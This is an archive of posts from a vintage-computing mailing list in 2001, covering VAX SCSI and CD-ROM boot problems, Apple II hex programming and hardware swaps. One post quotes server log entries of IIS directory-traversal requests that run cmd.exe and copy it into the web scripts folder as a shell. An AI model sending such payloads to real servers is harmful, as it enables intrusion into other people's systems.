Apple II In-Reply-To: <200106271655.JAA13820@stockholm.ptloma.edu> Message-ID: On Wed, 27 Jun 2001, Cameron Kaiser wrote: > > No assemblers for me...I program in hex! > > Before I got a proper assembler, I wrote all my Commodore programs in the > FastLoad monitor. > > .c000: a9 93 20 d2 ff a9 10 a0 c0 4c 1e ab > .c010: "hello world" 0d 00 > .gc000 > [screen clear] > hello world > > .% > ready. And the Apple ][ equivalent: *300: A0 00 B9 10 03 F0 06 20 ED FD C8 D0 F5 60 *310: C8 C5 CC CC CF A0 D7 CF D3 CC C4 8D 00 *300G HELLO WORLD * :) Sellam Ismail Vintage Computer Festival ------------------------------------------------------------------------------ International Man of Intrigue and Danger http://www.vintage.org From webmaster at atari-history.com Wed Jun 27 16:12:01 2001 From: webmaster at atari-history.com (Curt Vendel) Date: Sun Feb 27 19:04:59 2005 Subject: Wanted: VT420/510 terminals References: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> <3B3A13C6.7E0B3760@greenbelt.com> Message-ID: <3B3A4C21.B984B8E4@atari-history.com> Anybody have two VT 320 or 420 or perhaps 510 terminals for sale??? Let me know, I need a pair of them to leave connected to some Sun E420r's for console access, thanks. Curt From hans at vaxbusters.org Wed Jun 27 13:17:30 2001 From: hans at vaxbusters.org (=?ISO-8859-1?Q?Hans_H=FCbner?=) Date: Sun Feb 27 19:04:59 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC In-Reply-To: Message-ID: On Wed, 27 Jun 2001, Mark Tapley wrote: > Help? In the absence of any clues, I'll probably take apart the CD300 to > see if I can spot anything obviously misjumpered, then start hunting for a > real DEC external CD drive. Plextors are said to work good, although I sometimes have trouble with them, too. The key parameter is the block size of the drive. To work on VAXen (and many other workstations) as boot drives, they must use a block size of 512 bytes. CDROM drives usually have 2048 bytes as default blocksize, and this is incompatible with most boot monitors. Older Toshiba drives had to be modified on their PCB to support 512 bytes block size. Plextors, Sony's and possibly others have a jumber (labeled BLK or similar) which can be used to switch the block size to 512 bytes. But even with the correct blocksize, some CDROMs work and some others don't, so you're best off with a drive which is labeled by the same workstation vendor. Older RS/6000's are known to be especially picky with respect to their boot CDROMs. I had a hell of a time trying to install AIX on my RS/6000 Model 320 and I had to resort to an original IBM drive to be successful. If you have a spare external SCSI harddisk, you can make a blockwise copy of the CD to the disk (using dd under unix) and boot from that. Hard disks (almost always) have a block size of 512 bytes and VMS installs just fine from a hard drive with the image of a VMS installation CD on it. Good luck, Hans -- finger hans@huebner.org for details From jim at calico.litterbox.com Wed Jun 27 13:17:06 2001 From: jim at calico.litterbox.com (Jim Strickland) Date: Sun Feb 27 19:04:59 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC In-Reply-To: from "Mark Tapley" at Jun 27, 2001 12:29:51 PM Message-ID: <200106271817.MAA18232@calico.litterbox.com> You definately have a SCSI termination or addressing issue here. I would, on general principles, not use addresses 1 or 7 for any device until you know which of those two addys your interface is on. I've forgotten what the setup terminationwise is. I know the external scsi line needs termination, so turn it on on your cdrom. I *think* the setup that works in mine is the internal hard disk is not terminated. You should see all the drives when you type show dev from the console. If you don't, fix the problem before you bother trying to boot. Hope this helps. -Jim > > Hello, > Multiple apologies in advance: The peripherals are generally > on-topic (and I think that's where my problem is), but the primary unit > under investigation, the VAX, isn't until next year. Also, please forgive > the long post. Finally, I'm in digest mode, so I'll respond slowly unless > you cc me at mtapley@swri.edu . > I'm trying to load OpenVMS Hobbyist (at last!) onto a VaxStation > 4000 VLC. A lot is working, but something isn't. Here's what I have: > > VaxStation 4000 VLC > 16 M Ram > RZ26-L (1Gig) hard drive, no jumpers on terminator block, SCSI ID 1. > S3 in up position > Rainbow 100A, running Kermit on MS-DOS 3.11b, 9600/8/n/1 > Offset-snap RJ11 DEC serial console cable, from VAX console connector to > adaptor to DB25 at Rainbow COMM port > 50pin M-M Centronics-type (off-brand) SCSI cable > AppleCD 300 external (caddy-load) (can you see trouble coming right here?) > SCSI ID = 2 > External SCSI terminator. > > The SCSI is, if I'm correctly reading what RZ26 docs I have, terminated at > the RZ26 and at the CD drive. (I know, this is not both "ends" of the > cable. The RZ-26 is within about 10 cm. of the computer end of the cable.) > I've tried the terminator-block jumper in all three positions (off, on one > pair, on the other pair) on the RZ26, same results. I've also tried with > and without the external terminator on the CD, same results. > > When I turn everything else on, load the CD caddy with the DEC Hobbyist VMS > CD in place, then turn on the VAX, I see on the Rainbow (edited from the > Kermit session log, esc/other special characters dealt with harshly by my > text editor and me): > > KA48-A V1.3-343-V4.0 > 08-00-2B-2A-D7-1A > 16MB > |xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx| > ?? 010 2 LCG 0086 > ?? 001 9 NI 0172 > ?? 121 10 SCSI 0034 > >>> > > uh-oh. I'm *hoping* the LCG line means no monitor attached to the VAX > graphics board (true, also no keyboard or mouse - yet), and the NI line > means I'm not connected to a network (also true, so far). Anybody with a > 4000 VLC owners' manual? The SCSI line worries me. (When I boot without the > CD drive attached, or with the CD drive turned off, it does not appear.) If > I then do SHOW CONFIG I see: > > KA48-A V1.3-343-V4.0 > 08-00-2B-2A-D7-1A > 16MB > > > DEVNBR DEVNAM INFO > ------ -------- -------------------------- > 1 NVR OK > 2 LCG ?? 010 0086 > HR - 8 PLN FB - V1.2 > 3 DZ OK > 4 CACHE OK > 5 MEM OK > 16MB = S0/1=8MB, S2/3=8MB, S4/5=0MB > 6 FPU OK > 7 IT OK > 8 SYS OK > 9 NI ?? 001 0172 > 10 SCSI ?? 121 0034 > 1-RZ26L 2-CD-ROM 6-INITR > 11 AUD OK > > >>> > > The SCSI system has correctly identified the addresses and types of the two > drives on it - but still shows ??'s. (I can change the address at which > INITR appears, using the SET SCSI command. No effect that I've noticed. > Things were wierd when the CD-ROM SCSI ID and INITR were both set to 6.) > If I then do SHOW DEV, the RZ26 spins up, starts clicking and clacking, and > I see: > > VMS/VMB ADDR DEVTYPE NUMBYTES RM/FX WP DEVNAM REV > ------- ---- ------- -------- ----- -- ------ --- > ESA0 08-00-2B-2A-D7-1A > > ?33 UNXINT > 010 00000002 041F0000 > > and the system seems to stop there. I can out back to the >>> > prompt, but never get the info for either the RZ26 or the CD drive. (With > no CD drive, I do see info (correct, as far as I can tell) for the RZ26.) I > can repeat SHOW DEV and SHOW CONFIG with the same results. If I then enter > BOOT DKA200 I see: > > ?02 EXT HLT > PC= 2004ACA4 PSL= 041F0000 > > and that's about as far as it goes. I can still back to the prompt. > > *However*, if I shut down the VAX, Start back up, and at the first prompt, > enter boot dka200 , the CD active light goes on and flickers as though > it were being accessed, and the Rainbow shows: > > > -DKA200 > %SYSBOOT-I-SYSBOOT Mapping the SYSDUMP.DMP on the System Disk > %SYSBOOT-W-SYSBOOT Can not map SYSDUMP.DMP on the System Disk > %SYSBOOT-W-SYSBOOT Can not map PAGEFILE.SYS on the System Disk > OpenVMS (TM) VAX Version X72T Major version id = 1 Minor version id = 0 > PLEASE ENTER DATE AND TIME (DD-MMM-YYYY HH:MM) > > I enter 26-JUN-2001 and see: > > Configuring devices . . . > > Available device DKA100: device type RZ26L > Available device DKA200: device type SONY CD-ROM > CDU-8 > %BACKUP-I-IDENT, Stand-alone BACKUP T7.2; the date is 26-JUN-2001 00:00:56.16 > > $ > Up to here it matches pretty well with what the docs for the Hobbyist CD > indicate. I enter BACKUP/IMAGE DKA200:VMS072.B/SAVE DKA100: and see: > > %SYSTEM-I-MOUNTVER, SABKUP$DKA200: is offline. Mount verification in progress. > > and that's all I see, at least for as long as I've had patience to watch. > The CD active light is off from then on. When my patience runs out, I hit > on the Rainbow, get a >>> prompt, and do SHOW DEV (same result as > above), , SHOW CONFIG (same as above), and then SHOW DEV and I see: > > VMS/VMB ADDR DEVTYPE NUMBYTES RM/FX WP DEVNAM REV > ------- ---- ------- -------- ----- -- ------ --- > ESA0 08-00-2B-2A-D7-1A > DKA100 A/1/0 DISK 1.05GB FX RZ26L > 441T > DKA200 A/2/0 RODISK 681.57MB RM WP CD-ROM > 1.9a > A/2/7 > A/2/7 > A/2/7 > A/2/7 > ..HostID.. A/6 INITR > > > Now the SCSI system has identified the CD drive as a SONY and correctly > read data from the CD (else how did it know that it was trying to load > OpenVMS 7.2?)! Yet something is still, to quote the bard, "rotten in > Denmark". I can't get (haven't gotten?) through the install sequence any > farther than the accursed %SYSTEM-I-MOUNTVER. > > Out of decorum, I suppose I should say WITW? (What in the World?) but > stronger language is what I have in mind. > > Clues would be well appreciated. > > I have not tried disassembling the SCSI drive - it seems to work OK with > the NeXT, and with Macs (PB3400, Plus). I could do that, though. > > Help? In the absence of any clues, I'll probably take apart the CD300 to > see if I can spot anything obviously misjumpered, then start hunting for a > real DEC external CD drive. > - Mark > > > -- Jim Strickland jim@DIESPAMMERSCUMcalico.litterbox.com ----------------------------------------------------------------------- BeOS Powered! ----------------------------------------------------------------------- From cmurillo at emtelsa.multi.net.co Wed Jun 27 12:39:12 2001 From: cmurillo at emtelsa.multi.net.co (Carlos Murillo) Date: Sun Feb 27 19:04:59 2005 Subject: Punched card readers In-Reply-To: <01Jun26.152509edt.119063@gateway.mediacen.navy.mil> References: <3.0.2.32.20010626125049.00f6a26c@obregon.multi.net.co> Message-ID: <3.0.2.32.20010627133912.00fe5070@obregon.multi.net.co> At 03:21 PM 6/26/01 -0400, Jeff Hellige wrote: >... I work with NT everyday and would just as soon not have >to.... These are some of the things that I have found in my http server logs: Apr 7 10:37:34 localhost thttpd[1024]: 207.31.75.150 - - "GET /scripts/..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af..%c0%af.. %c0%af/winnt/system32/cmd.exe?/c%20dir HTTP/1.0" 404 - "" "" Jun 20 12:08:43 localhost thttpd[1033]: 216.65.73.2 - - "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+copy+c:\winnt\ system32\cmd.exe+c:\inetpub\scripts\shell.exe HTTP/0.9" 404 - "" "" The scary part is that there exists some patchlevel of NT where this works. carlos. -------------------------------------------------------------- Carlos E. Murillo-Sanchez carlos_murillo@nospammers.ieee.org From celt at chisp.net Wed Jun 27 13:48:43 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: Message-ID: <3B3A2A8B.8010306@chisp.net> Sellam Ismail wrote: > On Wed, 27 Jun 2001, Mike Ford wrote: > > >>Is there an active area for 6502 programmers, mailing list or usenet group? >> > > I think comp.sys.apple2.programmer (or something like that) should still > be around. > > Still around - it became a spam-dump (like many of the other a2. subgroups) a while ago and traffic died completely. Things have picked up again over the past year or so. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From celt at chisp.net Wed Jun 27 13:56:20 2001 From: celt at chisp.net (Michael Maginnis) Date: Sun Feb 27 19:04:59 2005 Subject: Looking for info - En-link Ethernet card for the Apple II References: Message-ID: <3B3A2C54.4070007@chisp.net> > > Someone has written a great utility that allows you to use your PC as a > file server from your Apple ][ and I believe vice-versa. I forgot what > it's called but I believe the website where the software can be found is > listed in the Emulators subsection of the Apple Resources section of the > VCF Link Library: > > http://www.vintage.org/cgi-bin/links.pl#apple > > Sellam Ismail Vintage Computer Festival > ------------------------------------------------------------------------------ > International Man of Intrigue and Danger http://www.vintage.org > > I think the one you're referring to is Apple II Oasis. Includes a Disk Server app that allows you to set up a virtual hard drive for the emulator; IIRC, also allows PC <-> Apple II communication via null modem cable (useful for converting your old floppies to disk images suitable for emulator consumption, and vice versa). Apple II Oasis homepage: http://www.geocities.com/SiliconValley/Lakes/4414/A4W.HTM Product is shareware, registration is $25 US. Mike http://tarnover.dyndns.org/ Tarnover - The Apple II Repository From dittman at dittman.net Wed Jun 27 14:00:50 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:04:59 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC In-Reply-To: <200106271817.MAA18232@calico.litterbox.com> from "Jim Strickland" at Jun 27, 2001 12:17:06 PM Message-ID: <200106271900.f5RJ0oj09297@narnia.int.dittman.net> > You definately have a SCSI termination or addressing issue here. > I would, on general principles, not use addresses 1 or 7 for any > device until you know which of those two addys your interface is on. I think the usual address of the internal hard drive is 3 and the CDROM drive is 5. > I've forgotten what the setup terminationwise is. I know the external > scsi line needs termination, so turn it on on your cdrom. I *think* > the setup that works in mine is the internal hard disk is not terminated. I happen to have a VLC at my desk that isn't being used, so I opened it up to check. The SCSI connection is motherboard->HD->external connection, so the HD should not be terminated. If you don't have an external SCSI device the external connector should be terminated. Just verified, and the internal HD is NOT terminated. > You should see all the drives when you type show dev from the console. > If you don't, fix the problem before you bother trying to boot. Indeed. I've seen this type of problem before and I solved it by using a different CDROM drive. The CDROM drive did work on one of my VAX systems and all of my Alphas, but would not work with one of my other VAX systems. I generally like to use either actual DEC drives or Plextor drives. -- Eric Dittman dittman@dittman.net From donm at cts.com Wed Jun 27 14:05:47 2001 From: donm at cts.com (Don Maslin) Date: Sun Feb 27 19:05:00 2005 Subject: Request for those skilling in locating odd bits- In-Reply-To: <3B3A1BE5.95B0F1E4@greenbelt.com> Message-ID: On Wed, 27 Jun 2001, Eric Chomko wrote: > > > Sellam Ismail wrote: > > > On Tue, 26 Jun 2001, Chuck McManis wrote: > > > > > At 11:29 PM 6/26/01 -0600, you wrote: > > > >I believe there is an x-ray machine in my ex-girlfriends' parents' > > > >garage.. I need to get the rest of my Wang out of her garage anyways, so I > > > >can check if you want... > > > > > > You left your Wang in your ex-girlfriends garage?!?!? > > > > Now, this Wang, is it a mini or micro? Well, depending on vintage, it could be pure word processor. Just something to talk about. - don > Eric > > > > > :) > > > > Sellam Ismail Vintage Computer Festival > > ------------------------------------------------------------------------------ > > International Man of Intrigue and Danger http://www.vintage.org > > > > From mikeford at socal.rr.com Wed Jun 27 14:04:30 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:00 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: References: <20010627164555.19165.qmail@web9506.mail.yahoo.com> Message-ID: >I got really good at programming in hex code, and never moved on to >assemblers. I tried a few, and had many of the ones popular during the I don't get too impressed until people start reading code from looking at scope traces. I've dinked around enough in eprom code to make changes on the fly,but at one time I had 40,000 lines of assembly code in a medical control application and needed all the high level support tools I could muster. From mikeford at socal.rr.com Wed Jun 27 14:07:10 2001 From: mikeford at socal.rr.com (Mike Ford) Date: Sun Feb 27 19:05:00 2005 Subject: Wanted: VT420/510 terminals In-Reply-To: <3B3A4C21.B984B8E4@atari-history.com> References: <01Jun26.123308edt.119059@gateway.mediacen.navy.mil> <3B3A13C6.7E0B3760@greenbelt.com> Message-ID: >Anybody have two VT 320 or 420 or perhaps 510 terminals for sale??? Let >me know, I >need a pair of them to leave connected to some Sun E420r's for console access, >thanks. I've a few with similar numbers, but prefer not to mess with shipping out of SoCal. From dittman at dittman.net Wed Jun 27 14:18:07 2001 From: dittman at dittman.net (Eric Dittman) Date: Sun Feb 27 19:05:00 2005 Subject: Wanted: VT420/510 terminals In-Reply-To: <3B3A4C21.B984B8E4@atari-history.com> from "Curt Vendel" at Jun 27, 2001 02:12:01 PM Message-ID: <200106271918.f5RJI7W09351@narnia.int.dittman.net> > Anybody have two VT 320 or 420 or perhaps 510 terminals for sale??? Let me know, I > need a pair of them to leave connected to some Sun E420r's for console access, > thanks. If the systems are close you can use one VT420, VT520, or VT525. I really like the VT525, as it uses a standard VGA monitor and PS/2 keyboard (I use an LK461) and supports up to three serial lines. I see the VT525 base show up on eBay quite often, at a reasonable price. Shipping doesn't cost much, either, as it is the size of a Multia and lighter. -- Eric Dittman dittman@dittman.net From paul at orchard.wccnet.org Wed Jun 27 14:34:21 2001 From: paul at orchard.wccnet.org (Paul R. Santa-Maria) Date: Sun Feb 27 19:05:00 2005 Subject: Micro Cornucopia magazines In-Reply-To: Message-ID: I've got seven responses for these magazines. Do I draw names out of a hat? Do I start an auction? I do not want to give it to the first responder because I read the digest version so I never get to be the first responder. Paul R. Santa-Maria Monroe, Michigan USA From melvin.williams at varian.com Wed Jun 27 14:36:41 2001 From: melvin.williams at varian.com (Mel Williams) Date: Sun Feb 27 19:05:00 2005 Subject: Intro and plotter question. Message-ID: <01C0FF05.D3140D80.melvin.williams@varian.com> My name is Mel and I just found this list. I am currently trying to get a couple of pen plotters working. The first is a sweet pea six shooter. It runs the self test fine but I don't have the manual for it. I need to know about any cabling issues. The other is a mannesmann tally pixy 3 I have the manual for this one but it says nothing about the driver for it. Thanks for any help. Mel From jss at ou.edu Wed Jun 27 14:41:22 2001 From: jss at ou.edu (Jeffrey S. Sharp) Date: Sun Feb 27 19:05:00 2005 Subject: Versatec board (ID and claim it) Message-ID: <993670882.3b3a36e261ab8@email.ou.edu> I have a board that describes itself as: VERSATEC LSI 11 DIFF INTF 22 BIT ADDRESS G10-024898- I believe it is an interface to some sort of hard copy device. If anyone wants it, it is theirs for the price of shipping. -- Jeffrey S. Sharp jss@ou.edu From vance at ikickass.org Wed Jun 27 14:41:39 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:05:00 2005 Subject: Whats a reasonable collection? In-Reply-To: <901.578T2150T2005811optimus@canit.se> Message-ID: Responses inline: On 27 Jun 2001, Iggy Drougge wrote: > Vance Dereksen skrev: > > >I love microchannel equipment. 8-) > > I did an MCA pick-up today, entirely free. Got a set of sealed little TR > adaptors, various IBM hard drives, different protocol adaptors, two 8514/A > adaptors, a Future Domain SCSI adaptor, a RAM expansion card, XGA2 ID plugs, > as well as a huge load of ISA junk and a Xircom parallel Ethernet adaptor. That Ethernet should come in handy. If I were you, I would lend that FD SCSI to Jaromir Dolecek. He's writing MCA card drivers for NetBSD. > One question: What would a CD-ROM INTERFACE CD-IF35-A connect to? It's got a > matching 40-way ribbon cable, but I assume it's some silly > Mitsumi/Panasonic/whatever interface. Most probably. > Question 2: I got a little black plastic box by IBM with one DB25m, one DB25f > and one DA9f. I suppose this is some kind of test equipment, but what? It's a serial/parallel wrap plug. The advanced tests on PS/2 reference diskettes need them to do port testing. It's a handy thing to keep around. > BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. =) Why not? Peace... Sridhar > -- > En ligne avec Thor 2.6a. > > Vi måste vara rädda om varandra > - det är det enda reciproka pronomen vi har. > From korpela at cyclops.ssl.berkeley.edu Wed Jun 27 14:43:56 2001 From: korpela at cyclops.ssl.berkeley.edu (Eric J. Korpela) Date: Sun Feb 27 19:05:00 2005 Subject: Looking for info - En-link Ethernet card for the Apple II In-Reply-To: from Sellam Ismail at "Jun 27, 2001 10:05:26 am" Message-ID: <200106271943.MAA19843@cyclops.ssl.berkeley.edu> > And the Apple ][ equivalent: > > *300: A0 00 B9 10 03 F0 06 20 ED FD C8 D0 F5 60 > *310: C8 C5 CC CC CF A0 D7 CF D3 CC C4 8D 00 > *300G > HELLO WORLD > * Personally, I usually loaded the mini assembler into the language card. I even doctored it a bit to add some features. Since I started out on a vanilla ][ with INTBASIC, I couldn't stand it when the miniassembler went missing when I "upgraded" to a ][+. Eric From vance at ikickass.org Wed Jun 27 14:46:29 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:05:00 2005 Subject: Whats a reasonable collection? In-Reply-To: Message-ID: Responses inline: On Wed, 27 Jun 2001, Mike Ford wrote: > >BTW, I'm also very fond of MCA. Just glad I haven't got on my own desktop. =) > > A model 9595 was the first computer I was really impressed with > mechanically when I opened it up. Its built like a Porsche, and actually > LOOKS good internally. The 8595/9595 is an excellent machine. Another one that I like very much is the MCA/PCI IBM PC Server 320 (8640). > I have a couple dozen of various models, with about a dozen 9595 servers. > One of my big scores in the auction last month was a box of 3Com MCA 10bt > cards I had been trying to buy for a year or two. I am trying to find some of those 100Base-T Olicom MCA cards. Peace... Sridhar From vance at ikickass.org Wed Jun 27 14:47:43 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:05:00 2005 Subject: SMC Ethernet In-Reply-To: <200106271146.f5RBkMW07304@bg-tc-ppp927.monmouth.com> Message-ID: Why doesn't Solaris support the linksys? It's Tulip-compatible (largely). Peace... Sridhar On Wed, 27 Jun 2001, Bill Pechter wrote: > > > > I used to use Intel cards, since they have really nice support, but I have > > lately switched to Linksys, because they seem to have similar support > > (software support, I mean) at 1/6 the price. Plus, they have pretty good > > CPU utilization numbers on my CPUs. > > > > The problem is Solaris doesn't support the Linksys... > > I like to get as much stuff that will run under as many OS's as possible > > --Bill > --- > Bill Gates is a Persian cat and a monocle away from being a > villain in a James Bond movie -- Dennis Miller > bpechter@shell.monmouth.com|pechter@pechter.dyndns.org > From vance at ikickass.org Wed Jun 27 14:48:57 2001 From: vance at ikickass.org (Vance Dereksen) Date: Sun Feb 27 19:05:00 2005 Subject: Whats a reasonable collection? In-Reply-To: <7A9BACCEF0171D4FB77019F5104CDD3715122D@jeffserver.tegjeff.com> Message-ID: The last MCA I am aware of ran at 40MHz. Ran stupid fast at that clock rate. Peace... Sridhar On Wed, 27 Jun 2001, Douglas Quebbeman wrote: > > > > > I love microchannel equipment. 8-) > > > > Not many know this, but Chuck Peddle, who designed MCA, also > gave it legs to run up to 100MHz. However, I don't think IBM > ever implemented an MAC bus at that speed. > > Regards, > -doug q > > From edick at idcomm.com Wed Jun 27 14:59:19 2001 From: edick at idcomm.com (Richard Erlacher) Date: Sun Feb 27 19:05:00 2005 Subject: Versatec board (ID and claim it) References: <993670882.3b3a36e261ab8@email.ou.edu> Message-ID: <002b01c0ff43$a6fd8c60$9cc762d8@idcomm.com> Versatec made some of the earlier large-format Laser/Electrostatic plotters, and, I believe, printers as well. I'd suspect that this board is an interface to one of those. They're pretty large, inconvenient to ship, and shipping costs, generally, exceed the cost of a current generation equivalent. However, if one already has the machines that use this interface it might be of considerable interest. I'm not in that situation, however. Dick ----- Original Message ----- From: "Jeffrey S. Sharp" To: "ClassicCmp Mailing List" Sent: Wednesday, June 27, 2001 1:41 PM Subject: Versatec board (ID and claim it) > I have a board that describes itself as: > > VERSATEC > LSI 11 DIFF INTF > 22 BIT ADDRESS > G10-024898- > > I believe it is an interface to some sort of hard copy device. If > anyone wants it, it is theirs for the price of shipping. > > -- > Jeffrey S. Sharp > jss@ou.edu > > From ard at p850ug1.demon.co.uk Wed Jun 27 14:03:12 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: from "Fred Cisin" at Jun 26, 1 06:40:57 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1232 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/feb29233/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 14:05:02 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Still have that 3b1, since Anthony Clifton didn't get here to pick it up. and three Unibus bits. In-Reply-To: <20010627021132.89500.qmail@web9505.mail.yahoo.com> from "Ethan Dicks" at Jun 26, 1 07:11:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 670 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/23c4ded6/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 14:11:12 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Good Samaritan Rule? In-Reply-To: <006701c0fecb$9184f580$4029b3d1@Smith.earthlink.net> from "Wayne M. Smith" at Jun 26, 1 10:39:32 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 669 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/a052a2ac/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 14:19:04 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Good Samaritan Rule? In-Reply-To: <00df01c0fecf$86893c00$4029b3d1@Smith.earthlink.net> from "Wayne M. Smith" at Jun 26, 1 11:08:02 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 3318 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/db9be602/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 13:55:59 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: X-10 (was Re: controlling power) In-Reply-To: <15161.7938.935137.704788@phaduka.neurotica.com> from "Dave McGuire" at Jun 26, 1 07:47:14 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 1115 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/6ba7c335/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 13:58:44 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Still have that 3b1, since Anthony Clifton didn't get here to pick In-Reply-To: from "Greg Linder" at Jun 26, 1 08:04:55 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 537 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/f100f018/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 14:31:06 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Trip to London, want BBC Micro stuff... In-Reply-To: from "Alistair MacDonald" at Jun 27, 1 02:28:42 pm Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 998 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/05f8f7c4/attachment.ksh From ard at p850ug1.demon.co.uk Wed Jun 27 14:32:33 2001 From: ard at p850ug1.demon.co.uk (Tony Duell) Date: Sun Feb 27 19:05:00 2005 Subject: Whats a reasonable collection? In-Reply-To: from "Sellam Ismail" at Jun 27, 1 08:15:01 am Message-ID: A non-text attachment was scrubbed... Name: not available Type: text Size: 162 bytes Desc: not available Url : http://www.classiccmp.org/pipermail/cctalk/attachments/20010627/094adbd8/attachment.ksh From ethan_dicks at yahoo.com Wed Jun 27 15:11:25 2001 From: ethan_dicks at yahoo.com (Ethan Dicks) Date: Sun Feb 27 19:05:00 2005 Subject: 1% (was Re: Looking for info - En-link Ethernet card for the Apple II) In-Reply-To: <3B3A19A7.8CF97C46@greenbelt.com> Message-ID: <20010627201125.7997.qmail@web9501.mail.yahoo.com> --- Eric Chomko wrote: > > > Ethan Dicks wrote: > > > > > ...the 1% rule - ten years later, you can get a computer for 1% of its > > > > original purchase price. > > Well I suspect that the 1% rule means that a system is a) not rare, and b) > totally obsolete in the sense that all its functionality can be had in newer > machines (more at superset). As I disclaimed, this does not account for the collector value of certain computers, especially as you get far beyond 10 years. A 10-year-old computer hits 1%; a 25-year-old computer is frequently worth more than it was at 10 years, but not necessarily more than it was when it was new. > I'm trying to think of a coin collecting equivalent and can only think of > coins sold by the pound (weight). Many coin dealers actually buy foreign > coins that way. Debased currency aside, I would think that a coin that is legible is never worth less than face value, or 100%. Money that has been removed from circulation (British Pound notes, for example) is no longer currency, and could be considered to be "no longer functioning". A bundle of cotton rag paper with colored printing on it is worth an infintessimal fraction of the same weight in $100 bills. > I was think that ISA cards could trade that way (weight). These days, probably. Weigh the gold for an approximate max scrap value. Maybe the tantalum, too. > > This rule seperates computers from other forms of manufactured goods > > because they are rarely worth 1% or less while still functioning. Think > of a car. > > No, actually a car IS a good example. What is the value (scrap) of a cubed > car? *Functioning* A cubed computer isn't worth much more than a cubed car. I said functioning for a reason. Scrap value changes everything. That puts you into the realms of commodities trading and it doesn't matter what did when it was new; only what its made of. > 'Still running' does make a difference. And 'still running' computers > obviously are worth more than scrap, IMO. But it seems that many of them > (still running computers) do get scrapped. Still running cars, too, just not as freely. That's my point. An old car retains more value than an old computer, even if they still perform their jobs recognizably well. If I walk onto a used car lot and offer a dealer 1% of the original purchase price, I'm likely to get a rude response. If I offer 1% of a 10-year-old computer's price to someone, in the majority of cases, I will be asked how large my truck is and how soon can I back it up. Of course one thing that sucks about this is that property tax depreciation schedules do not allow for that amount of depreciation. Some manufacturing equipment can only be depreciated to 30% of purchase price. We used to pay more in taxes on 11/750s and 11/730s than we could buy them for, but it would have been too much hassle to replace them in a legal manner with identical stuff, but bought more recently at prevailing rates. -ethan ===== Visit "The Seventh Continent" http://penguincentral.com/penguincentral.html __________________________________________________ Do You Yahoo!? Get personalized email addresses from Yahoo! Mail http://personal.mail.yahoo.com/ From cmcmanis at mcmanis.com Wed Jun 27 15:14:21 2001 From: cmcmanis at mcmanis.com (Chuck McManis) Date: Sun Feb 27 19:05:00 2005 Subject: Slightly OT: Help? Apple CD 300 and VAX 4000 VLC In-Reply-To: Message-ID: <5.0.0.25.2.20010627125846.02d0b8c0@209.185.79.193> At 12:29 PM 6/27/01 -0500, Mark Tapley wrote: > I'm trying to load OpenVMS Hobbyist (at last!) onto a VaxStation >4000 VLC. A lot is working, but something isn't. Here's what I have: We're having some fun now, eh? >VaxStation 4000 VLC > 16 M Ram > RZ26-L (1Gig) hard drive, no jumpers on terminator block, SCSI ID 1. > S3 in up position My favorite little VAX at the moment. >Rainbow 100A, running Kermit on MS-DOS 3.11b, 9600/8/n/1 >Offset-snap RJ11 DEC serial console cable, from VAX console connector to > adaptor to DB25 at Rainbow COMM port >50pin M-M Centronics-type (off-brand) SCSI cable >AppleCD 300 external (caddy-load) (can you see trouble coming right here?) > SCSI ID = 2 > External SCSI terminator. Don't think the AppleCD will work some of the 300's were Toshibas and they should work but most were Sony if IIRC and they definitely wouldn't work. >The SCSI is, if I'm correctly reading what RZ26 docs I have, terminated at >the 